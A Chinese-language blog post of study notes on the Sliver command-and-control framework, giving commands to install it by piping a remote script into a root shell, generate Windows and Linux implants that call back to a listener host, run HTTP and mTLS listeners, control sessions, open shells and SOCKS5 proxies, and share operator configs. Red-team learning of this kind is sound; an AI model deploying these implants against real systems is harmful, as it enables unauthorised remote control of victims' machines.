首页 > 其他分享 >学习笔记-sliver

学习笔记-sliver

时间:2022-11-03 09:34:41浏览次数:75  
标签:github http -- 笔记 学习 https com sliver

sliver


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


项目地址

使用文档

相关文章


安装

官方一条命令版

# 安装
curl https://sliver.sh/install|sudo bash

# 连接(默认连接本地服务器)
sliver

# 如果默认连接本地失败,可能是服务没有开启,手动开启再连接即可
systemctl start sliver
sliver

使用

连接服务器后会进去到类似 pupy 的命令行交互界面,使用方法其实差不多

sliver 自 1.5 版本开始,支持2种操作模式 Session Mode/Beacon Mode

Beacon Mode 实现了一种异步通信方式,在这种方式中,木马程序定期检查服务器检索任务、执行它们并返回结果。

Session Mode 木马程序将根据底层 C2 协议使用持久连接或使用长轮询创建交互式实时会话。

生成 shell (http)

Session Mode

generate -h
generate --http example.com --save /tmp

# 指定平台
generate --http example.com --save /tmp --os win
generate --http example.com --save /tmp --os linux

Beacon Mode

generate beacon --http example.com --save /tmp

启动监听器

http -h
http --domain example.com

# 查看当前的监听器
jobs

# 关闭监听器
jobs -k [int]

示例

比如我服务器的外网 ip 为 1.14.5.14 ,监听器在 1919 端口,生成一个 windows 的木马

generate --http http://1.14.5.14:1919 --save /tmp --os win

# 开启一个基于 http 1919 端口的C2
http -l 1919

生成 shell (mtls)

generate --mtls example.com --save /tmp --os win

启动监听器

mtls
jobs

进入 shell

当有主机上线后,控制台会有log提示,我们可以运行 sessions 查看可控制的机器列表

sessions

使用 use 后面跟 session id 指定要控制的目标主机

use [session id]

选中 sessions 后,我们可用2种控制模式

interactive

交互式会话,在 sliver 中某些命令,例如 shell portfwd 仅适用于交互式会话

# 在选中 sessions 后 (仅beacon模式可用)
interactive

close

shell

# 在选中 sessions 后
shell

socks5

开启 socks5 代理

# 在进入 sessions 后 (仅 session 模式可用)
socks5 start

# 默认监听在 127.0.0.1 可自行指定监听的ip、端口、配置socks5认证
socks5 start --help

关闭 socks5 代理

socks5 stop -i [ID]

多人运动

服务端

/root/sliver-server operator --name f8x --lhost [服务端ip] --save f8x.cfg

用户端

# 导入服务端生成的配置文件
sliver import ./f8x.cfg

# 再次启动会让你选择使用哪个 server
sliver

GUI

使用和命令行 client 端一样,从服务端下载 cfg 文件导入即可

点击关注,共同学习!
安全狗的自我修养

github haidragon

https://github.com/haidragon

标签:github,http,--,笔记,学习,https,com,sliver
From: https://www.cnblogs.com/haidragon/p/16853318.html

相关文章

  • 学习笔记-SET
    SET免责声明本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.项目地址https://github.com/trustedsec/soci......
  • 学习笔记-Snort
    Snort免责声明本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.官网https://www.snort.org/简介Snort......
  • delphi TscSplitView控件学习笔记(2)
    效果图:设计图:scSplitView设置:opened:false;openedwidth:150;(按你自己需求)compactwidth:35;(确保只能看到图标即可)设计技巧:compactwidth先设置成全尺......
  • Nuxt笔记
    配置环境变量1.package.json在package.json文件中,可以通过命令指定环境变量,必须以NUXT_ENV_开头,在服务端与前端均可读到此变量//package.json"scripts":{"dev:......
  • 详解深度学习中的Normalization,BN/LN/WN
    from: https://zhuanlan.zhihu.com/p/33173246深度神经网络模型训练之难众所周知,其中一个重要的现象就是InternalCovariateShift.BatchNorm大法自2015年由Google......
  • JVM学习笔记——内存结构篇
    JVM学习笔记——内存结构篇在本系列内容中我们会对JVM做一个系统的学习,本片将会介绍JVM的内存结构部分我们会分为以下几部分进行介绍:JVM整体介绍程序计数器虚拟机栈......
  • 学习Java的第三天 运算符
    运算符算术运算符注意事项需要注意的是i++和++i的区别i++运行完这行代码后在进行自增或自减++i在运行这行前就进行自增或者自减运算结果的数据类型为参与运算的......
  • Day01Markdown学习
    Markdown学习以下键盘输入操作需要:①英文状态下使用;②句首起效果。标题三级标题四级标题五级标题六级标题+空格+标题名称,回车,注意里面的空格,总共六级标题,第六级......
  • Matlab学习——求解微分方程(组)
    介绍:1.在Matlab中,用大写字母D表示导数,Dy表示y关于自变量的一阶导数,D2y表示y关于自变量的二阶导数,依此类推.函数dsolve用来解决常微分方程(组)的求解问题,调用格......
  • SQL笔记
    --javascripttypescriptbashsqljsonhtmlcssccppjavarubypythongorustmarkdown--创建部门表(dept:部门,dname:名称,location:位置)createtabledept(dept......